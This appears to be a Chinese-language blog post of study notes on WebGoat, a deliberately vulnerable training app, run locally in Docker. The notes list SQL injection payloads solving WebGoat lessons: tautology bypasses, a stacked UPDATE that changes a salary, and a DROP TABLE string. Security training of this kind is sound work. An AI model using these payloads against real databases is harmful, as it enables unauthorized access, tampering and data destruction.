使用 WebGoat 學習滲透測試與網站開發安全之道 (Penetration Testing Practice With WebGoat)

2022-11-09

logo

說明

WebGoat 是初階的資安學習工具,無法學習到進階的資安攻防技術,但卻可以在主題式簡單的練習中讓開發人員有基本的資安認知與實作,從簡單的攻擊的角度反思程式設計之道,其簡單的題型設計也是理想的示範資安攻擊的概念說明工具。

環境設定

docker run -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Asia/Taipei webgoat/webgoat

Docker 啟用後,WebGoat 的路徑會在:http://127.0.0.1:8080/WebGoat

負責 Proxy 攻擊行為的 WbbWolf 路徑則是:http://127.0.0.1:9090/

WebGoat 學到的事

SQL Injection 101

SELECT * FROM users WHERE name = 'Smith' OR TRUE;--'

-- "SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'

-- "SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = "  + User_ID;
SELECT * From user_data WHERE Login_Count = 0 and userid= 1 OR 1 = 1

-- "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
SELECT * FROM employees WHERE last_name = 'A' AND auth_tan = '' OR '1' = '1'

'; UPDATE employees SET salary=99999 WHERE first_name='John

%'; DROP TABLE access_log;--

Dictionary

XOR encoding
IBM WebSphere Application Server 預設的加密法
XOR Cipher
藉由 XOR 運算達到的簡易式對稱式加密法

參考資料

WebGoat.Net Framework

WebGoat.Net Framework (WebForms)

WebGoat.Net Core

WebGoat - GitHub

Information Security, Fall 2016 - Yih-Kuen Tsay's Wiki @ IM.NTU